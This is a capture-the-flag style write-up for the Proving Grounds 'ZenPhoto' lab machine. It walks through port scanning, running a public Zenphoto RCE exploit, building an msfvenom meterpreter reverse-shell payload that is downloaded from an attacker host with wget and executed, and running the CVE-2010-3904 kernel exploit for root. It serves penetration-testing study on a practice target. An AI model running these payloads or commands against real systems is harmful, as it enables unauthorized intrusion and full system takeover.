Skip to content
HackIndex.io

ZenPhoto Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

ZenPhoto runs an outdated Zenphoto gallery with a public remote code execution exploit, giving a shell as www-data. The host’s equally old kernel is vulnerable to a local privilege escalation in the RDS protocol, which hands over root.

Reconnaissance

Nmap

Scan all ports, then fingerprint the open ones.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- $TARGET_IP 
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
3306/tcp open  mysql
Explain command
-p- Scan all 65535 TCP ports.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -sV -p 22,23,80,3306 $TARGET_IP 
22/tcp   open  ssh   OpenSSH 5.3p1 Debian
23/tcp   open  ipp   CUPS 1.4
80/tcp   open  http  Apache httpd 2.2.14 (Ubuntu)
3306/tcp open  mysql
Explain command
-A Enable OS detection, version detection, script scanning and traceroute.

Port 23 is actually CUPS, not telnet. Brute force the web server’s directories.

Directory discovery

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ dirb http://$TARGET_IP 
==> DIRECTORY: http://$TARGET_IP/test/

/test/ hosts an instance of Zenphoto.

┌──(kali㉿kali)-[~]
└─$ curl -s $TARGET_IP/test/ | tail 
<!-- zenphoto version 1.4.1.4 [8157] (Official Build) -->

Zenphoto 1.4.1.4 has a known public remote code execution exploit.

Exploitation

Zenphoto RCE

Run the public exploit against the install path.

┌──(kali㉿kali)-[~]
└─$ php 18083.php $TARGET_IP /test/ 
zenphoto-shell# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data through the exploit’s own pseudo-shell. Upgrade to a full reverse shell by downloading and running a staged ELF payload.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f elf > shell.elf
┌──(kali㉿kali)-[~]
└─$ python -m SimpleHTTPServer 8000
┌──(kali㉿kali)-[~]
└─$ zenphoto-shell# wget http://$ATTACKER_IP:8000/shell.elf -P /tmp
┌──(kali㉿kali)-[~]
└─$ zenphoto-shell# chmod +x /tmp/shell.elf

Set up the Metasploit handler, then execute the payload.

┌──(kali㉿kali)-[~]
└─$ msfconsole -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT $ATTACKER_PORT; run"
┌──(kali㉿kali)-[~]
└─$ zenphoto-shell# /tmp/shell.elf 
meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33

Shell as www-data. local.txt is readable from here.

Privilege Escalation

Kernel exploit (CVE-2010-3904)

Check the kernel version.

┌──(kali㉿kali)-[~]
└─$ uname -a 
Linux offsecsrv 2.6.32-21-generic #32-Ubuntu SMP i686 GNU/Linux

This kernel is vulnerable to CVE-2010-3904, a privilege escalation in the RDS protocol handler. Compile the public exploit for 32-bit and host it.

┌──(kali㉿kali)-[~]
└─$ gcc 15285.c -o 15285 -m32
┌──(kali㉿kali)-[~]
└─$ python -m SimpleHTTPServer 8000

Download and run it on the target.

┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP:8000/15285
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/15285
┌──(kali㉿kali)-[~]
└─$ ./15285 
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] Resolving kernel addresses...
[*] Overwriting security ops...
[*] Got root!
# whoami
root

The RDS kernel exploit gives a root shell.

Related

Linux Kernel Local Privilege Escalation
Blog

Linux Kernel Local Privilege Escalation

Exploit misconfigured kernels, SUID binaries, and kernel vulnerabilities to escalate from low-privil...
Dirty COW (CVE-2016-5195) – Legacy Kernel Privilege Escalation
Blog

Dirty COW (CVE-2016-5195) – Legacy Kernel Privilege Escalation

Race condition in Linux kernel's copy-on-write mechanism allows local attackers to gain root privile...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References